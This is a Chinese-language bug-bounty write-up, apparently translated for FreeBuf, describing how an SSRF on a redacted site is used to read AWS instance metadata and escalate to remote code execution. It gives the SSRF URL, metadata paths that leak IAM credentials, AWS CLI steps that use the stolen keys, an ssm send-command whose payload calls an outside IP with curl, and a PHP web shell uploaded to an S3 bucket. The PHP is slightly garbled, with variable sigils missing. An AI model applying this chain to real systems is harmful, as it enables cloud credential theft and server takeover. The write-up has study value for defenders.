使用SSRF泄漏云环境中的Metadata数据实现RCE

本文我将向大家分享一个新的非常有意思的漏洞。利用该漏洞可以为我们泄漏云环境中的Metadata数据,并进一步的实现远程代码执行(RCE )。

测试范围

在对该站点进行子域枚举时,我找到了[docs.redact.com]这个子域。

查找带外资源加载

[docs]子域名显示了一些文档和统计信息

在点击统计数据的照片时,我看到了一些奇怪的链接:

我想到的第一件事就是将[url]的值改为generaleg0x01.com

然后,我注意到了[mimeType]参数并编辑更改了链接,如下:

代码语言:javascript
复制
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

到目前为止它只是[带外资源加载]

验证 SSRF

当我查看BurpSuite中的请求/响应时我注意到了响应头[X-Amz-Cf-Id]

所以,当前的环境应该是AWS。

我们需要确保SSRF在这里可以正常利用。正如我们所知,[169.254.169.254]是EC2实例的本地IP地址。

让我们尝试通过导航到[ latest/meta-data/]来访问元数据文件夹。

SSRF被确认。

让我们通过导航到[/latest/meta-data/iam/security-credentials/]来检查我们当前的角色。

可以看到当前为:aws-elasticbeanstalk-ec2-role

什么是 AWS Elastic Beanstalk ?

AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS),用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。 它会自动处理部署,容量配置,负载均衡,自动扩展和应用程序运行状况监视。

抓取所需数据

1)转到[/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]

获取[AccessKeyId,SecretAccessKey,Token]

2)转到[/latest/dynamic/instance-identity/document/]

获取[instanceId,accountId,region]

配置 AWS 命令行界面

打开terminal终端:

代码语言:javascript
复制
~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

获取[UserID]

代码语言:javascript
复制
~# aws sts get-caller-identity

SSRF利用得很好,现在让我们进一步的漏洞挖掘,看看能否将其升级为威胁性更大的“RCE”

从 SSRF 到 RCE

我尝试了一些潜在的利用场景。

通过[ssm send-command]发送命令失败

之后我研究尝试使用了AWS Systems Manager [ssm] 命令。

但该角色无权执行此命令。我希望使用aws ssm send-command来实现漏洞升级。

代码语言:javascript
复制
~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/whoami’ –output text –region=region

但显示调用SendCommand操作时发生错误(AccessDeniedException)。

代码语言:javascript
复制
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

通过[SSH]升级漏洞同样失败,SSH端口已关闭。

通过[Uploading Backdoor]成功!

尝试读取[S3 Bucket]的内容:

尝试使用AWS CLI运行多个命令从AWS实例检索信息。但由于安全策略的原因,对大多数命令的访问被拒绝。

代码语言:javascript
复制
~# aws s3 ls
代码语言:javascript
复制
An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

经过仔细研究后我发现,托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。

为了访问S3 bucket,我们将使用之前抓取的数据,格式如下:

代码语言:javascript
复制
elasticbeanstalk-region-account-id

现在,bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。

让我们以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,我们使用AWS CLI来执行此任务:

代码语言:javascript
复制
~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

现在,让我们尝试上传一个后门!

代码语言:javascript
复制
~# cat cmd.php
代码语言:javascript
复制
<?php if(isset(_REQUEST[&#39;cmd&#39;])){ echo &#34;&lt;pre&gt;&#34;; cmd = (_REQUEST[&#39;cmd&#39;]); system(cmd); echo "</pre>"; die; }?>
代码语言:javascript
复制
~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

上传:

代码语言:javascript
复制
./cmd.php to s3://docs.redact.com/cmd.php

我们成功将漏洞升级为了RCE!

简而言之

将SSRF升级到RCE的方法很多,但这主要取决于你的目标环境。

*参考来源:generaleg0x01,FB小编secist编译,转载请注明来自FreeBuf.COM